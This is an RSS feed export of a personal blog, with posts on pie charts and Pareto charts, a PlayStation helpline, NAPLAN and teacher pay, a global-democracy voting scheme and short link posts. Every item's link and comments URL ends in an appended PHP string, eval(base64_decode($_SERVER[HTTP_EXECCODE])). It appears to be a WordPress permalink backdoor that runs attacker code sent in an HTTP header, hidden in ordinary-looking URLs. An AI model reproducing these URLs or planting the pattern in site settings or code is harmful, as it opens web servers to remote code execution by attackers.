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<channel>
	<title>Statistically...</title>
	<link>http://damiendonnelly.com</link>
	<description></description>
	<pubDate>Tue, 08 May 2012 12:39:53 +0000</pubDate>
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	<language>en</language>
			<item>
		<title>A quick word on pie-charts</title>
		<link>http://damiendonnelly.com/2011/03/16/a-quick-word-on-pie-charts/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2011/03/16/a-quick-word-on-pie-charts/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 16 Mar 2011 09:01:44 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://damiendonnelly.com/2011/03/16/a-quick-word-on-pie-charts/</guid>
		<description><![CDATA[&#160;
For those of you who follow Stephen Few, many of you will be familiar with his opinions on pie charts. I whole heartedly agree with him, and I’d like to thank Stephen for illuminating many of the foundation principles of data visualisation and dashboard design at his course I recently attended in Melbourne. Essentially what [...]]]></description>
			<content:encoded><![CDATA[<p class="posterous_autopost">&nbsp;</p>
<p class="WordSection1">For those of you who follow <a href="http://www.perceptualedge.com/">Stephen Few</a>, many of you will be familiar with his opinions on<a href="http://www.perceptualedge.com/articles/08-21-07.pdf"> pie charts</a>. I whole heartedly agree with him, and I’d like to thank Stephen for illuminating many of the foundation principles of data visualisation and dashboard design at his course I recently attended in Melbourne. Essentially what Stephen says about pie charts is that we have great difficulty comparing areas, and we are very good at comparing lengths, so when making a part to whole comparison, use a bar chart - or if you are a little more sophisticated a Pareto chart. He demonstrates this very well here;</p>
<p class="WordSection1"> <img src="http://posterous.com/getfile/files.posterous.com/damiendonnelly/UOE0R0mGkoZ0JfeSouSAZn1RhQJtfCEzTBsFwcaOyQcVb0lt4CTeEkKCxSo0/image001.png" onmouseout="undefined" onmouseover="undefined" width="600" height="400" title="undefined" /></p>
<p>Upon leaving that course, I thought about this quite a bit in light of all the other ways he had taught us to simplify any data visualisation and strip it down to its purest form. The minimal information that it was conveying. The more I thought about this the more I thought that there was one piece of information in the pie chart that was not easily presented in the bar chart - the fact that you are looking at a part-to-whole relationship. When the maximum value on the X-axis in this example is 50%, it isn’t immediately apparent that adding up A to F would result in 100% - it is however in the pie chart. So I thought long and hard about how to resolve this piece of missing information. Behold, the Pareto chart which Stephen showed me, which essentially does this.<span> </span></p>
<p class="p_embed p_image_embed"> <img src="http://posterous.com/getfile/files.posterous.com/damiendonnelly/kupDO4Bpa1lTYl3OisPq13g7WkVSLAb33qKiLuFFHCQ5GnLpO5HQ0GMZZ9SW/image004.jpg" alt="Image004" height="296" width="395" /></p>
<p>Again, there is a trade off here. By including the line to indicate the contribution to the whole we can quite easily read a cumulative total and see individual contributions. I guess you do lose  a little bit of clarity for the uninitiated, as to what this is exactly - given that there is a line and bars such that it isn’t immediately apparent that they are related pieces of data. You also have a scale problem which makes it slightly harder to compare lengths when you necessarily need to make the axis go to 100%. Despite these drawbacks, I’m a big fan of the Pareto chart.</p>
<p>Finally, I thought that, given the fact that we now read everything on a screen, be it computer, tablet or e-book, would it be possible to get all the benefits of the bar graph, and communicate the part-to-whole relationship using animation. The stacked bar graph clearly shows a part to whole relationship, but makes it incredible difficult to compare length. If you could animate it to disassemble into a normal bar graph, you would have the best of both worlds. Eg Animate this;</p>
<p class="p_embed p_image_embed"> <a href="http://posterous.com/getfile/files.posterous.com/damiendonnelly/lUv9MhROMHZqv5GGfKBzs1VFqetwxSYEdoQ6nuP5wpoSeKq1MmmQh8jJ4oJG/image005.png"><img src="http://posterous.com/getfile/files.posterous.com/damiendonnelly/Sakikr2WvneqMNVzBW9scYIHsTT2SyYUY3foCJwEx0t92NJRO8dXQik8jwSj/image005.png.scaled.500.jpg" alt="Image005" height="398" width="500" /></a></p>
<p>to this</p>
<p class="&gt;&lt;div class='p_embed p_image_embed'&gt; &lt;img alt=" height="296" width="395"> <img src="http://posterous.com/getfile/files.posterous.com/damiendonnelly/fvOj89ZHqev1XRKLnT1Gp4kaTnCURpslIzQ9oYYZpJxCfakFUlPaXEm4Qx4O/image006.png" /></p>
<p>This is really only applicable in a Powerpoint presentation as it wouldn’t make any sense in a dashboard or report, and you do however lose what Pareto offers in assessing a cumulative total. Despite this, I think it may be an effective intermediary between Pareto and the bar chart that retains the one useful piece of information in a pie-chart.</p>
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		<item>
		<title>PlayStation Support Helpline</title>
		<link>http://damiendonnelly.com/2011/03/12/playstation-support-helpline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2011/03/12/playstation-support-helpline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 12 Mar 2011 07:57:58 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

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		<description><![CDATA[

Phone (Australia Support) : 1300 365 911
Phone (New Zealand Support) : 09 415 2447
 
I&#39;ve found that it is near impossible to find this information on the web. So here it is for everyone who ever has a problem with their PlayStation. Enjoy.

  Posted via email   from Damien Donnelly&#8217;s posterous  

]]></description>
			<content:encoded><![CDATA[<div class='posterous_autopost'>
<div style="font-family: arial, sans-serif; font-size: 13px;">
<div>Phone (Australia Support) : 1300 365 911</div>
<p>Phone (New Zealand Support) : 09 415 2447</p></div>
<div> 
<div><span style="font-family: arial, sans-serif; font-size: 13px;">I&#39;ve found that it is near impossible to find this information on the web. So here it is for everyone who ever has a problem with their PlayStation. Enjoy.</span></div>
</p></div>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via email</a>   from <a href="http://damiendonnelly.posterous.com/playstation-support-helpline">Damien Donnelly&#8217;s posterous</a>  </p>
</p></div>
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		<title>We can do better than NAPLAN</title>
		<link>http://damiendonnelly.com/2010/10/05/we-can-do-better-than-naplan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Tue, 05 Oct 2010 09:58:02 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

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		<description><![CDATA[


In response to Mike Stuchbery; @mikestuchbery

http://mike-stuchbery.com/2010/10/05/five-reasons-not-to-become-a-teacher/#comment-89

 Mike, I&#39;ve been ranting about this for a long time, and at last, I believe I&#39;ve found a teacher that will listen.

 Obviously, there are plenty of good reasons to become a teacher - I used to be an &#34;educational entertainer&#34; and thoroughly enjoyed taking part in inspiring children [...]]]></description>
			<content:encoded><![CDATA[<div class='posterous_autopost'>
<div><img title="testing.jpg" src="http://cdn.newsone.com/files/2009/06/testing.jpg" alt="testing.jpg" /></div>
<p />
<div>In response to Mike Stuchbery; @<span style="font-family: Lucida Grande, sans-serif; font-size: 14px; color: rgb(51, 51, 51); line-height: 16px;"><strong style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><a href="http://twitter.com/mikestuchbery" class="tweet-url screen-name" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-decoration: none; color: rgb(0, 132, 180);">mikestuchbery</a></strong></span></div>
<p />
<div><a href="http://mike-stuchbery.com/2010/10/05/five-reasons-not-to-become-a-teacher/#comment-89">http://mike-stuchbery.com/2010/10/05/five-reasons-not-to-become-a-teacher/#comment-89</a></div>
<p />
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"> Mike, I&#39;ve been ranting about this for a long time, and at last, I believe I&#39;ve found a teacher that will listen.</p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p></p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p> Obviously, there are plenty of good reasons to become a teacher - I used to be an &quot;educational entertainer&quot; and thoroughly enjoyed taking part in inspiring children to learn. However, as Ken Robinson says in his TED talk, (<object height="326" width="446">
<param name="movie" value="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" /></param>
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<param name="flashvars" value="vu=http://video.ted.com/talks/dynamic/SirKenRobinson_2006-high.flv&#038;su=http://images.ted.com/images/ted/tedindex/embed-posters/SirKenRobinson-2006.embed_thumbnail.jpg&#038;vw=432&#038;vh=240&#038;ap=0&#038;ti=66" /><embed src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" allowFullScreen="true" type="application/x-shockwave-flash" wmode="transparent" height="326" pluginspace="http://www.macromedia.com/go/getflashplayer" bgColor="#ffffff" flashvars="vu=http://video.ted.com/talks/dynamic/SirKenRobinson_2006-high.flv&#038;su=http://images.ted.com/images/ted/tedindex/embed-posters/SirKenRobinson-2006.embed_thumbnail.jpg&#038;vw=432&#038;vh=240&#038;ap=0&#038;ti=66" width="446"></embed></object>) and as you have pointed out here, the system is broken.</p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p></p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p> Even the NAPLAN system which is there to add transparency to the situation caused a great backlash from the teaching institution because of the fear of this transparency, and what it would mean to the scrutiny of their jobs. In many respects, I agree with the teachers on this, despite my passion for open data, because of the methodology used for doing comparison and benchmarking with NAPLAN (although it is a good start).</p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p></p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p> The main reason I sympathise with teachers on this is that there is increased scrutiny, little feedback, and no upside. If we are going to go to all of the effort of measuring the performance of our students (and in the process the performance of our teachers) then they should be rewarded according to that performance.</p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p></p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p> I&#39;ve said this for a long time and heard the groans that there is no really valid way of doing this measurement because there are so many other factors that could influence the outcome of a students education. However, there is a methodology and it is outlined exceptionally well here </p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p></p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p> <a href="http://www.latimes.com/news/local/la-me-teachers-value-20100815,0,258862,full.story">http://www.latimes.com/news/local/la-me-teachers-value-20100815,0,258862,full.story</a> </p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p></p></blockquote>
<blockquote class="gmail_quote" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; padding-left: 1ex;"><p> If we used standardised testing to measure teachers, and rewarded them for the respective change that they made in their students education then quite possibly we would find ourselves in a situation where outcomes were better, and teachers actively sought out opportunities to teach in difficult schools where the opportunity to make a bigger difference was possible- and hence reap a great reward, both through intrinsic and extrinsic motivation.</p></blockquote>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via email</a>   from <a href="http://damiendonnelly.posterous.com/we-can-do-better-than-naplan">Damien Donnelly&#8217;s posterous</a>  </p>
</p></div>
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		<title>Are you ready for a Global Democracy? Yes, but not the one on offer.</title>
		<link>http://damiendonnelly.com/2010/09/19/are-you-ready-for-a-global-democracy-yes-but-not-the-one-on-offer-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2010/09/19/are-you-ready-for-a-global-democracy-yes-but-not-the-one-on-offer-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 19 Sep 2010 13:39:19 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

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		<description><![CDATA[I was clicking through the YouTubes tonight when I came across this little gem proffering the seeds of a Global Democracy.Titled &#8220;World Vote Now&#8221; the video tries to inspire the viewer to see the current Democracy &#8220;deficit&#8221; and embrace the idea of one person, one vote for the entire world. I&#8217;m pretty sure this is [...]]]></description>
			<content:encoded><![CDATA[<p class="posterous_autopost">I was clicking through the YouTubes tonight when I came across this little gem proffering the seeds of a Global Democracy.Titled &#8220;<a href="http://www.youtube.com/watch?v=9rK2WPtzAnk&amp;feature=spotlight">World Vote Now</a>&#8221; the video tries to inspire the viewer to see the current Democracy &#8220;deficit&#8221; and embrace the idea of one person, one vote for the entire world. I&#8217;m pretty sure this is all part of promoting a documentary, that promotes this idea and sees it as a viable, and desirable long term goal.From the website<a href="http://www.worldvotenow.com"> </a><a href="http://www.worldvotenow.com">www.worldvotenow.com</a> (Shouldn&#8217;t it be .org? Nevermind&#8230;)</p>
<p style="font-family: Arial, Helvetica, sans-serif; font-size: 11px; border-collapse: collapse; color: #666666; line-height: 17px">&nbsp;</p>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: #cccccc; border-left-style: solid; padding-left: 1ex" class="gmail_quote"><p> We´re told democracy creates stability and raises living standards. So why not introduce it on a worldwide scale?</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: #cccccc; border-left-style: solid; padding-left: 1ex" class="gmail_quote"><p> What would it take to apply the principle of “one person – one vote” to everyone on the planet? We have held 26 international field tests in every region of the planet to answer this question.</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0.8ex; border-left-width: 1px; border-left-color: #cccccc; border-left-style: solid; padding-left: 1ex" class="gmail_quote"><p> This investigation involved close collaboration with Electoral Commissions, Government Ministries, Educational Institutions and Civil Society Organizations and we would like to thank them all for their invaluable contributions.</p></blockquote>
<p style="border-collapse: separate; color: #000000; font-family: arial; line-height: normal; font-size: small"> I&#8217;m a big democracy supporter, and a big believer in big ideas. So much so, that I&#8217;ve given the global democracy problem a lot of thought.</p>
<p style="border-collapse: separate; color: #000000; font-family: arial; line-height: normal; font-size: small">The problem with what is contained on the World Vote Now pages, and promotional material (besides it being impossible to find much relevant information or comment) is that there is not any indication of the proposal for how the voting or the democracy would work, or what power the legislative body would have. The whole concept just doesn&#8217;t seem to be rationally thought out at all any further than &#8220;lets see if we could get electronic voting machines to everybody&#8221;.</p>
<p style="border-collapse: separate; color: #000000; font-family: arial; line-height: normal; font-size: small">&nbsp;</p>
<p style="border-collapse: separate; color: #000000; font-family: arial; line-height: normal; font-size: small">Considering the the booming mobile phone growth in the third world is doing a pretty good job of getting &#8220;electronic voting machines&#8221; to everybody, I&#8217;m not even sure it is worth considering the current edge cases of people with no connectivity to the Internet. If the power of one vote actually became a significant agent of change, and they drastically wanted that change, then I think their priorities may shift to try and reach a point where connectivity was possible, long enough for them to vote. There is significant evidence to show that the economic choices that people in the 2/3rds world make puts mobile connectivity quite high on their short list of essentials including food and shelter.</p>
<p style="border-collapse: separate; color: #000000; font-family: arial; line-height: normal; font-size: small">&nbsp;</p>
<p style="border-collapse: separate; line-height: normal; font-size: small">Most of this information is moot without first considering;</p>
<p style="border-collapse: separate; line-height: normal; font-size: small">&nbsp;</p>
<ul>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span">What are people voting for?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span><span style="color: #000000; font-family: arial" class="Apple-style-span">Who are people voting for?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span><span style="color: #000000; font-family: arial" class="Apple-style-span">What authority would the body have?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span><span style="color: #000000; font-family: arial" class="Apple-style-span">What responsibility would that body have?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span><span style="color: #000000; font-family: arial" class="Apple-style-span">What is the organisational structure of the body?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span><span style="color: #000000; font-family: arial" class="Apple-style-span">What is the mechanism of change of the body?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span><span style="color: #000000; font-family: arial" class="Apple-style-span">What power would the body have, and where would this power come from?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span><span style="color: #000000; font-family: arial" class="Apple-style-span">Is the current mechanism of democratic delegation (currently used anywhere in the world - the US is a horrendous example) the most appropriate for global governance?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span><span style="color: #000000; font-family: arial" class="Apple-style-span">How is the system audited, funded, and maintained?</span></li>
<li><span style="color: #000000; font-family: arial" class="Apple-style-span"></span>How do you manage unique identification of 1 person per vote to prevent gaming?</li>
</ul>
<p><span style="border-collapse: separate; line-height: normal; font-size: small">From looking at the website, not a single one of these questions is answered, but surely one could hope for more from the documentary.</span><span style="border-collapse: separate; line-height: normal; font-size: small">In any case, I think I&#8217;ve come up with a relatively good solution that I&#8217;m going to hand over to the web, or some wealthy venture capitalist, in the hope for a better world.</span><span style="border-collapse: separate; line-height: normal; font-size: small"><strong>Proposed Solution</strong></span><span style="border-collapse: separate; line-height: normal; font-size: small">One person, one vote sounds good in theory, but how about one person, 6 billion votes (or the amount of the entire world population) - voting is optional, and voting lines are open all day everyday.</span><span style="border-collapse: separate; line-height: normal; font-size: small">The great benefit of this is that it makes the distribution of power far more liquid and more frictionless than it is currently. You might think that 6 billion votes is preposterous, but it would mean that the more people that one person votes for, the more diluted his power becomes. If you think about 1 person who voted for a 6 billion of the worlds population then everybody would tie with 1 vote and nobody would win the race, hence there would be vote dilution.</span><span style="border-collapse: separate; line-height: normal; font-size: small">The same applies when this is scaled to 6 billion.</span><span style="border-collapse: separate; line-height: normal; font-size: small">The benefit of having voting available at all times mean that you get a direct reflection of the consensus of the Governed at all times.<a href="http://www.ccmep.org/2002_articles/Iraq/102702_pictures_of_anti.htm"> If they don&#8217;t like the John Howard sending our military to fight a war on flimsy evidence of WMD&#8217;s</a> then unvoting is a very simple proposition to deprive elected leaders of the necessary political capital required to wage a war and maintain consent of the Governed.</span><span style="border-collapse: separate; line-height: normal; font-size: small">This gives a great fluidity to Government, which some may argue would reduce stability. </span><span style="border-collapse: separate; line-height: normal; font-size: small">I disagree with this assessment, it would just mean that for stability you would require a clear lead to maintain stability - which, given the nature of the Internet I believe would be easily achievable by successful leaders.</span><span style="border-collapse: separate; line-height: normal; font-size: small">Another benefit of using this methodology is that you are no longer relegated to laborious processes of even participating in the race to represent. All people would be eligible to leader, all people could attain votes - thereby leaving the job of governing not only to politicians, but to all citizens. Not just for people with political ambition, but with sincere civic desires. It is also able to be audited by the user by watching vote counts move up and down in real time as a result of their actions.</span><span style="border-collapse: separate; line-height: normal; font-size: small">Granted, the financial rewards in this type of system maybe less, but the value of the social capital would be considerable</span><span style="border-collapse: separate; line-height: normal; font-size: small">.</span><span style="border-collapse: separate; line-height: normal; font-size: small"></span><span style="border-collapse: separate; line-height: normal; font-size: small">Implementation initially may be a little difficult - reaching critical mass, managing authentication etc, however, it may be that we are almost there. </span><span style="border-collapse: separate; line-height: normal; font-size: small">A vote/unvote mechanism is almost available via Facebook, which currently has a very well authenticated user base of 500 million (1/12 of the global population). The main drawback is that their like/unlike API doesn&#8217;t currently support a callback on the &#8220;unvote&#8221; - but it will come soon.</span><span style="border-collapse: separate; line-height: normal; font-size: small">Given this, and the slew of Twitter/ Facebook/ Email addresses and social pages, a large group of people would already be able to use this voting system immediately.</span><span style="border-collapse: separate; line-height: normal; font-size: small"></span><span style="border-collapse: separate; line-height: normal; font-size: small">The question remains, what power would this body of elected people have?</span><span style="border-collapse: separate; line-height: normal; font-size: small"></span><span style="border-collapse: separate; line-height: normal; font-size: small">Well, this is yet to be determined, but it could be agreed that all of the people that opt into the system of voting, work behind the goals of those who garner enough democratic power above a certain threshold. This would have immediate impact of current political arrangements. More ambitiously, with enough people opting in, the elected leaders would have a moral authority to discuss with media and international leaders about solutions and problems that currently does not exist.</span><span style="border-collapse: separate; line-height: normal; font-size: small"> Also, since they would command no standing army, and be globally distributed, they would not pose any threat in violent terms to the status quo, increasing their legitimacy, and potentially posing a threat in political terms to the status quo in many nations.</span><span style="border-collapse: separate; line-height: normal; font-size: small">After some growth via Facebook, other mechanisms for more solid verification and more easily distributed controls and transparency would be instituted.</span><span style="border-collapse: separate; line-height: normal; font-size: small">I&#8217;d love to hear feedback on this fairly raw blog post about an idea that has been percolating for a very very long time.</span><span style="border-collapse: separate; line-height: normal; font-size: small"></span><span style="border-collapse: separate; line-height: normal; font-size: small">Cheers,</span><span style="border-collapse: separate; line-height: normal; font-size: small">Dame</span>
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		<title>Earth from Saturn</title>
		<link>http://damiendonnelly.com/2010/09/14/earth-from-saturn/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2010/09/14/earth-from-saturn/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 14 Sep 2010 02:13:08 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

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		<description><![CDATA[

This image Lasoo from the edge of the Internet reminded me a lot of this beautiful image of earth from Saturn. 


You can see the live data here &#160;http://nmap.org/favicon/.

  
See and download the full gallery on posterous

  Posted via email   from Damien Donnelly&#8217;s posterous  

]]></description>
			<content:encoded><![CDATA[<div class='posterous_autopost'>
<div class="WordSection1">
<p>This image Lasoo from the edge of the Internet reminded me a lot of this beautiful image of earth from Saturn. </p>
</p>
</p>
<p>You can see the live data here &nbsp;<a href="http://nmap.org/favicon/">http://nmap.org/favicon/</a>.</p>
</p></div>
<p><a href='http://posterous.com/getfile/files.posterous.com/damiendonnelly/LlBqIKxmDJvCVAGDxQWNQh03HeomzDKFmMvWDY3z7vOyTMX6ZizI8qC586wB/image001.png'><img src="http://posterous.com/getfile/files.posterous.com/damiendonnelly/3mgMVQrvn0JWYFtb9SZcz25vEj5dQj9nK5mw77TxbG8sosLWuPkSLWJyluNS/image001.png.scaled.500.jpg" width="500" height="375"/></a> <a href='http://posterous.com/getfile/files.posterous.com/damiendonnelly/IT5EvYQyOLcSRIBlh6cDQ0aNmZMS9xmcblopx8H6Oyzku3BtP7K0FdvNUhes/image002.png'><img src="http://posterous.com/getfile/files.posterous.com/damiendonnelly/x4EGOUzoYDzkRpCzLpa1cKijyho7qWxixVEyItEooMOByEo180BevFUTxQTb/image002.png.scaled.500.jpg" width="500" height="502"/></a> <a href='http://posterous.com/getfile/files.posterous.com/damiendonnelly/XcvnJicS1TkeTEhTpHZt3hhu7sJXURUu7aD0FjhjlBBu2URnsh79VVIq5PY7/image003.jpg'><img src="http://posterous.com/getfile/files.posterous.com/damiendonnelly/psI73D812W54AfguOr7DrPaxMSpMLTqTevpXnkm1OYhp9neDsTBtDcVggQlv/image003.jpg.scaled.500.jpg" width="500" height="375"/></a>
<div><a href='http://damiendonnelly.posterous.com/earth-from-saturn'>See and download the full gallery on posterous</a></div>
</p>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via email</a>   from <a href="http://damiendonnelly.posterous.com/earth-from-saturn">Damien Donnelly&#8217;s posterous</a>  </p>
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		<title>Chat to me!</title>
		<link>http://damiendonnelly.com/2010/09/03/chat-to-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2010/09/03/chat-to-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 05:41:58 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

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		<description><![CDATA[
Coles, I love you, but I think you have failed to appreciate the two-way communication that makes social media special. Maybe &#8220;Chat with us&#8221; would be more appropriate&#8230;

 
  Posted via email   from Damien Donnelly&#8217;s posterous  

]]></description>
			<content:encoded><![CDATA[<div class='posterous_autopost'>
<p>Coles, I love you, but I think you have failed to appreciate the two-way communication that makes social media special. Maybe &#8220;Chat <b>with</b> us&#8221; would be more appropriate&#8230;</p>
</p>
<p align="center" style="text-align: center;"><a href='http://posterous.com/getfile/files.posterous.com/damiendonnelly/d1XfLZJEuihLSWSrlyJoHZmprBqxwAQpwxIRnuuFe88lPTDoDngEaq2Vcr3S/image001.gif'><img src="http://posterous.com/getfile/files.posterous.com/damiendonnelly/6OR2w36CCPqzbpsBLrruPS1RPmgadteiBz5GJ05pTF3uHTIReA0B6H36aqZg/image001.gif.scaled.500.jpg" width="500" height="62"/></a> </p>
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</p></div>
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		<title>Responsibility and Authority - exceptionally wise words from Seth</title>
		<link>http://damiendonnelly.com/2010/09/02/responsibility-and-authority-exceptionally-wise-words-from-seth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2010/09/02/responsibility-and-authority-exceptionally-wise-words-from-seth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 04:15:50 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://damiendonnelly.com/2010/09/02/responsibility-and-authority-exceptionally-wise-words-from-seth/</guid>
		<description><![CDATA[
Responsibility and authority
Many people struggle at work because they want more authority.
It turns out you can get a lot done if you just take more responsibility instead. It&#8217;s often offered, rarely taken.
(And you can get even more done if you give away credit, relentlessly).
  Posted via email   from Damien Donnelly&#8217;s posterous  [...]]]></description>
			<content:encoded><![CDATA[<div class='posterous_autopost'>
<h3><span style="font-family: Arial,sans-serif; color: black;"><a href="http://www.feedblitz.com/t2.asp?/198516/17339128/3884768/http://feedproxy.google.com/~r/typepad/sethsmainblog/~3/L8MAlVRfs-M/responsibility-and-authority-1.html" target="_blank"><span style="color: #1C51A8;">Responsibility and authority</span></a></span></h3>
<p><span style="font-size: 10.0pt; font-family: Arial,sans-serif; color: black;">Many people struggle at work because they want more authority.</span></p>
<p><span style="font-size: 10.0pt; font-family: Arial,sans-serif; color: black;">It turns out you can get a lot done if you just take more responsibility instead. It&#8217;s often offered, rarely taken.</span></p>
<p><span style="font-size: 10.0pt; font-family: Arial,sans-serif; color: black;">(And you can get even more done if you give away credit, relentlessly).</span></p>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via email</a>   from <a href="http://damiendonnelly.posterous.com/responsibility-and-authority-exceptionally-wi">Damien Donnelly&#8217;s posterous</a>  </p>
</p></div>
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		<title>Charles for Debugging</title>
		<link>http://damiendonnelly.com/2010/07/16/charles-for-debugging/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2010/07/16/charles-for-debugging/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 03:56:41 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://damiendonnelly.com/2010/07/16/charles-for-debugging/</guid>
		<description><![CDATA[
Charles Web Debugging Proxy Application and packet sniffer, is ridiculously hard to find on the web due to its name but is also exceptionally handy for mobile debugging. I&#8217;m posting it here to help its pagerank.
  Posted via email   from Damien Donnelly&#8217;s posterous  

]]></description>
			<content:encoded><![CDATA[<div class='posterous_autopost'>
<p><a href="http://www.charlesproxy.com/download/latest-release/download.do">Charles Web Debugging Proxy Application and packet sniffer</a>, is ridiculously hard to find on the web due to its name but is also exceptionally handy for mobile debugging. I&#8217;m posting it here to help its pagerank.<span style="font-size: 9.0pt; font-family: Arial,sans-serif; color: #E40E62;"></span></p>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via email</a>   from <a href="http://damiendonnelly.posterous.com/charles-for-debugging">Damien Donnelly&#8217;s posterous</a>  </p>
</p></div>
]]></content:encoded>
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		<title>People Start with search</title>
